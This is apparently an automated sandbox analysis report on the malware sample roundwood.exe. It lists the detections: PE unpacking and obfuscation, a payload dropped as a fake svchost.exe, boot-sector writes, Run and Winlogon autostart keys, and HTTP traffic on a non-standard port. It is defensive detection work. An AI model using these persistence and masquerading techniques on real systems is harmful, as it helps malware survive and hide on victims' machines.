Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: wininet.dll
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: windows.storage.dll
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: wldp.dll
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: sspicli.dll
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: iertutil.dll
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: profapi.dll
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: winhttp.dll
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: mswsock.dll
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeSection loaded: winnsi.dll
Source: C:\Users\user\Desktop\roundwood.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}\InprocServer32Jump to behavior
Source: roundwood.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000000.2392089505.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000005.00000000.2392758187.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2747248970.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2699687212.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000000.2424281862.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000013.00000000.2448817598.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000015.00000002.2457320619.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000017.00000002.2467643095.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000019.00000002.2471862859.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001B.00000000.2469981695.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001D.00000000.2472599687.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001F.00000002.2481007099.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000022.00000002.2485967614.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000024.00000002.2496212654.00000000001FE000.00000002.00000001.01000000.00000009.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000000.2487466914.00000000001FE000.00000002.00000001.01000000.00000009.sdmp

Data Obfuscation

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\roundwood.exeUnpacked PE file: 0.2.roundwood.exe.400000.0.unpack .sX:R;.RqVY:R;.i:ER;.lziQh:R;.EXGwv:W;.data:W;.I:R;.E:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\apppatch\svchost.exeUnpacked PE file: 2.2.svchost.exe.400000.0.unpack .sX:R;.RqVY:R;.i:ER;.lziQh:R;.EXGwv:W;.data:W;.I:R;.E:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeUnpacked PE file: 15.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.960000.2.unpack
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeUnpacked PE file: 25.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2650000.3.unpack
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeUnpacked PE file: 34.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2950000.3.unpack
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeUnpacked PE file: 38.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2900000.3.unpack
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\roundwood.exeUnpacked PE file: 0.2.roundwood.exe.400000.0.unpack
Source: C:\Windows\apppatch\svchost.exeUnpacked PE file: 2.2.svchost.exe.400000.0.unpack
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_004020C0 memset,SHGetFolderPathA,PathAppendA,SetCurrentDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,0_2_004020C0
Source: initial sampleStatic PE information: section where entry point is pointing to: .i
Source: roundwood.exeStatic PE information: real checksum: 0x47cbf47f should be: 0x3bb4e
Source: svchost.exe.0.drStatic PE information: real checksum: 0x2b2e39e0 should be: 0x3bb4e
Source: roundwood.exeStatic PE information: section name: .sX
Source: roundwood.exeStatic PE information: section name: .RqVY
Source: roundwood.exeStatic PE information: section name: .i
Source: roundwood.exeStatic PE information: section name: .lziQh
Source: roundwood.exeStatic PE information: section name: .EXGwv
Source: roundwood.exeStatic PE information: section name: .I
Source: roundwood.exeStatic PE information: section name: .E
Source: svchost.exe.0.drStatic PE information: section name: .sX
Source: svchost.exe.0.drStatic PE information: section name: .RqVY
Source: svchost.exe.0.drStatic PE information: section name: .i
Source: svchost.exe.0.drStatic PE information: section name: .lziQh
Source: svchost.exe.0.drStatic PE information: section name: .EXGwv
Source: svchost.exe.0.drStatic PE information: section name: .I
Source: svchost.exe.0.drStatic PE information: section name: .E
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0044E8E3 push cs; ret 0_2_0044E8F8
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0044E919 push cs; iretd 0_2_0044E928
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0044E24D push es; iretd 0_2_0044E25C
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0044B207 push cs; retf 0004h0_2_0044B301
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0044AD50 push eax; ret 0_2_0044AD7E
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0044AE42 push eax; retf 0_2_0044AE69
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0044AF4C pushad ; retn 0004h0_2_0044AF55
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_0044AF22 push ds; ret 0_2_0044AF29
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044E8E3 push cs; ret 2_2_0044E8F8
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044E919 push cs; iretd 2_2_0044E928
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044E24D push es; iretd 2_2_0044E25C
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044B207 push cs; retf 0004h2_2_0044B301
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044AD50 push eax; ret 2_2_0044AD7E
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044AE42 push eax; retf 2_2_0044AE69
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044AF4C pushad ; retn 0004h2_2_0044AF55
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0044AF22 push ds; ret 2_2_0044AF29
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D48AE3 push cs; ret 2_2_02D48AF8
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D48B19 push cs; iretd 2_2_02D48B28
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D44950 push eax; ret 2_2_02D4497E
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D4844D push es; iretd 2_2_02D4845C
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02906207 push cs; retf 0004h2_2_02906301
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_0290924D push es; iretd 2_2_0290925C
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_028EC8AC push ebp; retf 2_2_028EC8AD
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029098E3 push cs; ret 2_2_029098F8
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_028F61BC push ebp; retf 2_2_028F61BD
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02909919 push cs; iretd 2_2_02909928
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02905E42 push eax; retf 2_2_02905E69
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02905F22 push ds; ret 2_2_02905F29
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02905F4C pushad ; retn 0004h2_2_02905F55
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_028F6442 push ebp; retf 2_2_028F6443
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02905D50 push eax; ret 2_2_02905D7E

Persistence and Installation Behavior

barindex
Contains functionality to infect the boot sector
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u2_2_02D13000
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u4_2_012F3000
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u5_2_00E43000
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u8_2_00E83000
Drops PE files with benign system names
Source: C:\Users\user\Desktop\roundwood.exeFile created: C:\Windows\apppatch\svchost.exeJump to dropped file
Drops executables to the windows directory (C:\Windows) and starts them
Source: C:\Users\user\Desktop\roundwood.exeExecutable created and started: C:\Windows\apppatch\svchost.exeJump to behavior
Source: C:\Users\user\Desktop\roundwood.exeCode function: API: WriteFile string: \\?\globalroot\systemroot\system32\tasks\0_2_004033B0
Source: C:\Users\user\Desktop\roundwood.exeFile created: C:\Windows\apppatch\svchost.exeJump to dropped file
Source: C:\Users\user\Desktop\roundwood.exeFile created: C:\Windows\apppatch\svchost.exeJump to dropped file

Boot Survival

barindex
Contains functionality to infect the boot sector
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u2_2_02D13000
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u4_2_012F3000
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u5_2_00E43000
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetDriveTypeA,SetCurrentDirectoryA,_snprintf,CreateFileA,lstrcpynA,SetFilePointer,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, \\.\PhysicalDrive%u8_2_00E83000
Creates an autostart registry key pointing to binary in C:\Windows
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run userinitJump to behavior
Creates an undocumented autostart registry key
Source: C:\Windows\apppatch\svchost.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon userinitJump to behavior
Monitors registry run keys for changes
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run userinitJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run userinitJump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Moves itself to temp directory
Source: c:\users\user\desktop\roundwood.exeFile moved: C:\Users\user\AppData\Local\Temp\3A31.tmpJump to behavior
Uses known network protocols on non-standard ports
Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 8001
Source: unknownNetwork traffic detected: HTTP traffic on port 8001 -> 49736
Source: unknownNetwork traffic detected: HTTP traffic on port 8001 -> 49736
Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 8001
Source: unknownNetwork traffic detected: HTTP traffic on port 8001 -> 49740
Source: unknownNetwork traffic detected: HTTP traffic on port 50845 -> 8001
Source: unknownNetwork traffic detected: HTTP traffic on port 8001 -> 50845
Source: unknownNetwork traffic detected: HTTP traffic on port 50847 -> 8001
Source: unknownNetwork traffic detected: HTTP traffic on port 8001 -> 50847
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D0CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02D0CBF0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D0CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02D0CBF0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D0CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02D0CBF0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D0CBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02D0CBF0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D0CB80 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,2_2_02D0CB80
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D0D130 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,2_2_02D0D130
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D0CE19 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02D0CE19
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D0CE19 IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,2_2_02D0CE19
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D09C80 IsWindow,IsWindowVisible,IsIconic,GetLastActivePopup,2_2_02D09C80
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012ED130 GetWindowLongA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetWindowLongA,SetWindowTextA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetDlgItem,GetClassLongA,SetClassLongA,SendMessageA,SendMessageA,GetObjectA,CreateFontIndirectA,SendMessageA,GetWindow,GetWindow,GetWindow,GetWindowInfo,GetWindowRect,SetWindowPos,GetClientRect,MoveWindow,CreateWindowExA,SetWindowLongA,GetClassLongA,SetClassLongA,GetWindowTextLengthA,HeapAlloc,SetWindowLongA,SendMessageA,GetWindowThreadProcessId,GetClassLongA,GetClassLongA,GetClassLongA,LoadIconA,SendMessageA,GetWindowLongA,SetWindowLongA,SetWindowPos,GetWindow,IsIconic,ShowWindow,WaitForSingleObject,ReleaseMutex,PostMessageA,GetDlgItem,GetWindowLongA,WaitForSingleObject,ReleaseMutex,GetDlgItem,GetWindowLongA,DeleteObject,HeapFree,DestroyWindow,EndDialog,4_2_012ED130
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012ECB80 IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,4_2_012ECB80
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012ECBF0 SendMessageA,GetWindow,IsWindow,IsIconic,GetWindowInfo,GetWindowInfo,GetAncestor,GetWindow,IsWindow,IsIconic,memset,GetWindow,GetWindow,GetWindow,GetWindow,GetWindowRect,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,IsWindow,IsIconic,memset,GetWindowRect,GetWindowLongA,GetScrollBarInfo,GetScrollBarInfo,GetScrollBarInfo,GetWindow,GetWindow,GetWindow,4_2_012ECBF0
